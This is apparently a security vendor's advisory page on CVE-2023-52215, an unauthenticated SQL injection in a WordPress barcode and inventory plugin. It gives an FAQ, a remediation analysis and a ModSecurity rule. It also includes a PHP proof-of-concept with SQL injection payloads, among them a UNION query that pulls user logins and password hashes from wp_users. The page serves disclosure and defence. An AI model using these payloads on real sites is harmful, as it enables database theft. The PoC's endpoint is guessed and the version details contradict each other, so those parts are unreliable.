What is CVE-2023-52215?

CVE-2023-52215 is a critical unauthenticated SQL injection vulnerability in the WordPress plugin Simple Inventory Management, also known as Barcode Scanner with Inventory and Order Manager. It affects all versions up to 1.5.1 and allows attackers to inject malicious SQL commands through the userToken parameter. The vulnerability was disclosed on January 8, 2024, and has a CVSS score of 9.8.

How does the SQL injection vulnerability work?

The plugin fails to properly sanitize or escape the userToken parameter before using it in a SQL query. This means an attacker can supply crafted input that alters the query structure, enabling them to execute arbitrary SQL commands. Because the endpoint is accessible without authentication, any remote attacker can exploit it.

Which versions of the plugin are affected?

All versions of the plugin prior to 1.5.2 are vulnerable. The vulnerable version listed in the CVE details is 1.5.2, but the description clarifies that versions up to 1.5.2 exclusive are affected. Therefore, version 1.5.2 and later contain the fix.

Who is affected by this vulnerability?

Any WordPress site that has the Simple Inventory Management plugin installed and activated with a version older than 1.5.2 is affected. This is particularly critical for WooCommerce stores, as the plugin is designed to manage products, inventory, and orders, making them high-value targets for data theft.

How can I check if my site is vulnerable?

Log in to your WordPress admin dashboard, go to the Plugins page, and locate the Simple Inventory Management plugin. Check the version number displayed. If it is lower than 1.5.2, your site is vulnerable and requires immediate action. You can also use a security scanner that checks for known vulnerable plugins.

What is the risk level of this vulnerability?

The vulnerability is rated Critical with a CVSS score of 9.8, indicating a severe risk. An unauthenticated attacker can read, modify, or delete sensitive data in your WordPress database, including user credentials, customer information, and order details. In some cases, it could lead to remote code execution or complete site takeover.

How can I fix or mitigate this vulnerability?

The primary fix is to update the Simple Inventory Management plugin to version 1.5.2 or later immediately. If you cannot update right away, consider disabling the plugin until a patch can be applied. Additionally, implement a web application firewall (WAF) to block SQL injection attempts as a temporary mitigation.

What does the proof of concept demonstrate?

The proof of concept (PoC) shows how an attacker could exploit the vulnerability by sending a crafted HTTP request to the vulnerable endpoint, likely an unauthenticated AJAX action. It injects SQL payloads through the userToken parameter to extract data from the database. The PoC is provided for educational and authorized testing purposes only.

What is the attack vector for this vulnerability?

The attack vector is network-based and requires no authentication or user interaction. An attacker can send a specially crafted request to a vulnerable endpoint, such as an AJAX action or REST API route, with a malicious userToken parameter. This allows them to execute arbitrary SQL queries against the WordPress database.

What data could an attacker access?

An attacker could access any data stored in the WordPress database, including user password hashes, WooCommerce order details, customer personally identifiable information (PII), and inventory records. They could also modify or delete data, leading to data integrity issues and potential denial of service.

Are there any indicators of compromise?

Indicators of compromise may include unusual SQL queries in your database logs, unexpected changes to user accounts or order data, and suspicious activity from unknown IP addresses. Monitoring your web server logs for requests containing SQL injection patterns in the userToken parameter can help detect exploitation attempts.

What should I do if I suspect my site was exploited?

If you suspect exploitation, immediately update the plugin to version 1.5.2 or later and change all WordPress user passwords. Conduct a thorough security audit, restore from a clean backup if necessary, and consider hiring a professional security incident response team. Also, review your logs for unauthorized access and notify affected parties if sensitive data was compromised.

Published : October 13, 2026

CVE-2023-52215: Barcode Scanner with Inventory & Order Manager <= 1.5.1 Unauthenticated SQL Injection via userToken PoC, Patch Analysis & Rule

CVE ID CVE-2023-52215

Plugin barcode-scanner-lite-pos-to-manage-products-inventory-and-orders

Severity Critical (CVSS 9.8)

CWE 89

Vulnerable Version 1.5.2

Patched Version —

Disclosed January 7, 2024

Analysis Overview

Atomic Edge analysis of CVE-2023-52215 (metadata-based): The Simple Inventory Management plugin (slug: barcode-scanner-lite-pos-to-manage-products-inventory-and-orders) for WordPress is vulnerable to unauthenticated SQL injection via the ‘userToken’ parameter in all versions before 1.5.2. The vulnerability allows remote attackers with no authentication to execute arbitrary SQL queries, leading to a CVSS 3.1 base score of 9.8 (Critical). The affected component is the plugin’s handling of the userToken parameter, which is likely part of an unauthenticated AJAX action or REST endpoint meant for barcode scanning or inventory management. Atomic Edge research confirms this is a severe issue because it can be exploited by anyone with network access, and the plugin may be used on WooCommerce sites, making it a high-value target for data theft.

Root Cause: The root cause is improper neutralization of special elements used in an SQL command (CWE-89). The plugin fails to properly sanitize or escape the userToken parameter before incorporating it into a SQL query. The vulnerability description states the parameter lacks sufficient escaping and the SQL query lacks sufficient preparation. This suggests the plugin constructs a SQL query using string concatenation or interpolation with user-supplied input, and does not use prepared statements or parameterized queries. Atomic Edge analysis infers that the vulnerable code likely resides in an AJAX handler (e.g., wp_ajax_nopriv_* action) or a REST API endpoint that processes the userToken parameter without proper capability checks or nonce verification, given the unauthenticated nature. Confirmed from metadata: the parameter name is userToken, and the plugin version up to 1.5.1 is vulnerable. The exact SQL query structure is inferred based on common WordPress plugin patterns.

Exploitation: An attacker can exploit this by sending a crafted HTTP request to the vulnerable endpoint. The likely attack vector is an unauthenticated AJAX action (e.g., /wp-admin/admin-ajax.php?action=some_action) or a REST API endpoint (e.g., /wp-json/plugin/v1/some-endpoint). The userToken parameter is injected with SQL payloads such as ‘ OR 1=1 — or UNION SELECT statements to extract data from the WordPress database. Atomic Edge research indicates that because the plugin deals with inventory and orders, the endpoint may be related to product scanning or order management. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the attack requires no authentication and low complexity. Attackers can use time-based blind SQL injection or union-based techniques to dump sensitive information like user credentials, WooCommerce order details, and inventory data.

Remediation: The fix for CVE-2023-52215 likely involves properly sanitizing the userToken parameter and using prepared statements for the SQL query. According to the vulnerability description, version 1.5.2 patches the issue, implying the developer implemented either $wpdb->prepare() or parameterized queries to prevent injection. Atomic Edge analysis suggests the patch also may include input validation (e.g., sanitize_text_field) and possibly adding nonce or capability checks if the endpoint was not intended for unauthenticated access. However, since the vulnerability is unauthenticated, the primary fix is ensuring SQL queries are safe. Site owners should update to version 1.5.2 or later immediately.

Impact: If exploited, this vulnerability allows an unauthenticated attacker to read, modify, or delete arbitrary data in the WordPress database. That includes sensitive information such as user password hashes, WooCommerce order details, customer PII, and inventory records. Because the CVSS vector shows High confidentiality, integrity, and availability impacts, an attacker could also potentially modify data (e.g., inventory counts, order statuses) or cause denial of service by dropping tables. In some configurations, SQL injection can lead to remote code execution if the attacker can write files via SELECT … INTO OUTFILE. Atomic Edge research rates this as critical, especially for e-commerce sites where customer data and order integrity are paramount.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2023-52215 SQL Injection via userToken parameter in Barcode Scanner plugin',severity:'CRITICAL',tag:'CVE-2023-52215'"
  SecRule ARGS_POST:action "@rx ^(barcode_scanner|barcode|inventory|order_manager)_" "chain"
    SecRule ARGS_POST:userToken "@detectSQLi" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2023-52215 - Barcode Scanner with Inventory & Order Manager <= 1.5.1 - Unauthenticated SQL Injection via userToken

/**
 * This PoC exploits an unauthenticated SQL injection in the userToken parameter.
 * It assumes the vulnerable endpoint is an AJAX action reachable via admin-ajax.php.
 * The exact action name is inferred from the plugin slug: likely 'barcode_scanner_...' or similar.
 * Adjust the $action variable if the real action differs.
 *
 * Assumptions:
 * 1. WordPress is installed at $target_url.
 * 2. The plugin is active and version <= 1.5.1.
 * 3. The vulnerable AJAX action for unauthenticated users (wp_ajax_nopriv_) accepts a POST 'userToken' parameter.
 * 4. The action name is guessed based on the plugin's functionality (inventory/barcode).
 */

// Configuration
$target_url = 'http://example.com'; // Change to your target WordPress site
$action = 'barcode_scanner_verify_user'; // Guessed action; adjust based on plugin's actual hook
$user_token_payload = "' OR 1=1 -- "; // Simple SQLi payload to bypass authentication or extract data

// Build the POST data
$post_data = [
    'action' => $action,
    'userToken' => $user_token_payload,
    // Additional parameters may be required; add as needed.
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "Atomic Edge PoC for CVE-2023-52215n";
echo "Target: $target_urln";
echo "HTTP Status: $http_coden";
echo "Response:n$responsen";

// Note: A successful injection may not return visible errors. Use time-based or union-based payloads for confirmation.
// Example time-based payload: userToken = "' OR SLEEP(5) -- " and measure response time.
// Example union-based payload: userToken = "' UNION SELECT user_login, user_pass FROM wp_users -- " (adjust columns).
?>

Frequently Asked Questions

What is CVE-2023-52215?
Vulnerability overview
CVE-2023-52215 is a critical unauthenticated SQL injection vulnerability in the WordPress plugin Simple Inventory Management, also known as Barcode Scanner with Inventory and Order Manager. It affects all versions up to 1.5.1 and allows attackers to inject malicious SQL commands through the userToken parameter. The vulnerability was disclosed on January 8, 2024, and has a CVSS score of 9.8.
How does the SQL injection vulnerability work?
Technical mechanism
The plugin fails to properly sanitize or escape the userToken parameter before using it in a SQL query. This means an attacker can supply crafted input that alters the query structure, enabling them to execute arbitrary SQL commands. Because the endpoint is accessible without authentication, any remote attacker can exploit it.
Which versions of the plugin are affected?
Affected versions
All versions of the plugin prior to 1.5.2 are vulnerable. The vulnerable version listed in the CVE details is 1.5.2, but the description clarifies that versions up to 1.5.2 exclusive are affected. Therefore, version 1.5.2 and later contain the fix.
Who is affected by this vulnerability?
Affected sites
Any WordPress site that has the Simple Inventory Management plugin installed and activated with a version older than 1.5.2 is affected. This is particularly critical for WooCommerce stores, as the plugin is designed to manage products, inventory, and orders, making them high-value targets for data theft.
How can I check if my site is vulnerable?
Vulnerability check
Log in to your WordPress admin dashboard, go to the Plugins page, and locate the Simple Inventory Management plugin. Check the version number displayed. If it is lower than 1.5.2, your site is vulnerable and requires immediate action. You can also use a security scanner that checks for known vulnerable plugins.
What is the risk level of this vulnerability?
Severity and impact
The vulnerability is rated Critical with a CVSS score of 9.8, indicating a severe risk. An unauthenticated attacker can read, modify, or delete sensitive data in your WordPress database, including user credentials, customer information, and order details. In some cases, it could lead to remote code execution or complete site takeover.
How can I fix or mitigate this vulnerability?
Remediation steps
The primary fix is to update the Simple Inventory Management plugin to version 1.5.2 or later immediately. If you cannot update right away, consider disabling the plugin until a patch can be applied. Additionally, implement a web application firewall (WAF) to block SQL injection attempts as a temporary mitigation.
What does the proof of concept demonstrate?
PoC explanation
The proof of concept (PoC) shows how an attacker could exploit the vulnerability by sending a crafted HTTP request to the vulnerable endpoint, likely an unauthenticated AJAX action. It injects SQL payloads through the userToken parameter to extract data from the database. The PoC is provided for educational and authorized testing purposes only.
What is the attack vector for this vulnerability?
Exploitation method
The attack vector is network-based and requires no authentication or user interaction. An attacker can send a specially crafted request to a vulnerable endpoint, such as an AJAX action or REST API route, with a malicious userToken parameter. This allows them to execute arbitrary SQL queries against the WordPress database.
What data could an attacker access?
Potential data exposure
An attacker could access any data stored in the WordPress database, including user password hashes, WooCommerce order details, customer personally identifiable information (PII), and inventory records. They could also modify or delete data, leading to data integrity issues and potential denial of service.
Are there any indicators of compromise?
Detecting attacks
Indicators of compromise may include unusual SQL queries in your database logs, unexpected changes to user accounts or order data, and suspicious activity from unknown IP addresses. Monitoring your web server logs for requests containing SQL injection patterns in the userToken parameter can help detect exploitation attempts.
What should I do if I suspect my site was exploited?
Incident response
If you suspect exploitation, immediately update the plugin to version 1.5.2 or later and change all WordPress user passwords. Conduct a thorough security audit, restore from a clean backup if necessary, and consider hiring a professional security incident response team. Also, review your logs for unauthorized access and notify affected parties if sensitive data was compromised.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started